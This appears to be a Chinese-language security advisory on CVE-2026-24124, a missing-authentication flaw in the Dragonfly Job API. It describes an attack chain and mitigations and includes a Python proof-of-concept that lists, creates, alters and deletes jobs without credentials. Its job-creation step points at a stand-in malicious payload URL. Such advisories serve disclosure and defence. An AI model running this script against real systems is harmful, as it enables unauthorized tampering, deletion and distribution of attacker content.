IPBUF安全漏洞报告
English
CVE-2026-24124 CVSS 9.8 严重

CVE-2026-24124 Dragonfly Job API 未授权访问漏洞

披露日期: 2026-01-22

漏洞信息

漏洞编号
CVE-2026-24124
漏洞类型
未授权访问/缺失认证
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Dragonfly

相关标签

未授权访问缺失认证RBAC绕过DragonflyP2P文件分发API安全CVE-2026-24124

漏洞概述

Dragonfly是一款开源的基于P2P的文件分发和镜像加速系统。2026年1月披露的安全漏洞显示,Dragonfly 2.4.1-rc.0及以下版本的Job API端点(/api/v1/jobs)存在严重的安全缺陷。该API路由配置中缺少JWT认证中间件和RBAC(基于角色的访问控制)授权检查机制,导致任何能够访问Manager API的未认证用户都可以查看、更新和删除系统中的任务作业。攻击者无需提供任何有效凭证即可对Job API执行增删改查操作,可能造成敏感任务信息泄露、任务篡改或恶意删除等严重后果。该漏洞CVSS评分高达9.8,属于严重级别,对系统机密性、完整性和可用性均造成严重影响。

技术细节

该漏洞源于Dragonfly框架在API路由配置层面未正确实施安全认证机制。具体问题在于/api/v1/jobs端点的路由处理器中缺少JWT令牌验证中间件,导致请求可以直接到达业务逻辑层而无需通过身份认证。同时,RBAC授权检查模块也未被正确集成到该路由的处理流程中,使得即使请求携带了JWT令牌,系统也不会验证用户是否具有操作Job资源的权限。攻击者可通过构造恶意HTTP请求到/api/v1/jobs端点,利用GET方法获取所有任务列表、POST方法创建恶意任务、PUT/PATCH方法修改现有任务配置、DELETE方法删除关键任务。由于Job API通常与系统核心调度功能关联,未授权访问可能导致业务中断或进一步横向渗透。

攻击链分析

STEP 1
步骤1
攻击者发现目标Dragonfly系统的Manager API端点
STEP 2
步骤2
攻击者直接向/api/v1/jobs端点发送HTTP请求
STEP 3
步骤3
由于缺少JWT认证中间件,请求无需携带有效令牌即可通过
STEP 4
步骤4
RBAC授权检查缺失,即使有令牌也不会验证权限
STEP 5
步骤5
攻击者利用GET/POST/PUT/DELETE方法对Job资源进行未授权操作
STEP 6
步骤6
获取敏感任务信息或篡改、删除关键任务导致业务中断

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2026-24124 PoC - Dragonfly Job API Unauthorized Access # Target: Dragonfly Manager API with vulnerable /api/v1/jobs endpoint target_url = "http://target-server:8080" # 1. List all jobs (GET - No authentication required) print("[+] Testing unauthorized job listing...") response = requests.get(f"{target_url}/api/v1/jobs") if response.status_code == 200: print(f"[SUCCESS] Retrieved {len(response.json())} jobs without authentication") jobs = response.json() # 2. Create malicious job (POST - No authentication required) print("[+] Testing unauthorized job creation...") malicious_job = { "task_id": "malicious-task-001", "type": "seed", "url": "http://malicious-source.com/payload", "state": "pending" } response = requests.post(f"{target_url}/api/v1/jobs", json=malicious_job) if response.status_code in [200, 201]: print("[SUCCESS] Created job without authentication") job_id = response.json().get("id") # 3. Update job (PUT - No authentication required) if job_id: print(f"[+] Testing unauthorized job update for job {job_id}...") updated_job = {"state": "cancelled", "result": "manipulated"} response = requests.put(f"{target_url}/api/v1/jobs/{job_id}", json=updated_job) if response.status_code == 200: print("[SUCCESS] Updated job without authentication") # 4. Delete job (DELETE - No authentication required) if job_id: print(f"[+] Testing unauthorized job deletion for job {job_id}...") response = requests.delete(f"{target_url}/api/v1/jobs/{job_id}") if response.status_code in [200, 204]: print("[SUCCESS] Deleted job without authentication") print("[*] Vulnerability confirmed: Job API accessible without authentication")

影响范围

Dragonfly <= 2.4.1-rc.0

防御指南

临时缓解措施
立即将Dragonfly升级至2.4.1-rc.1或最新稳定版本。在升级前,可通过配置网络访问控制列表(ACL)限制对Manager API的访问,仅允许受信任的IP地址访问。对于无法立即升级的场景,可在前端部署API网关并配置强制认证策略,对所有/api/v1/jobs请求进行JWT令牌验证和权限检查。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表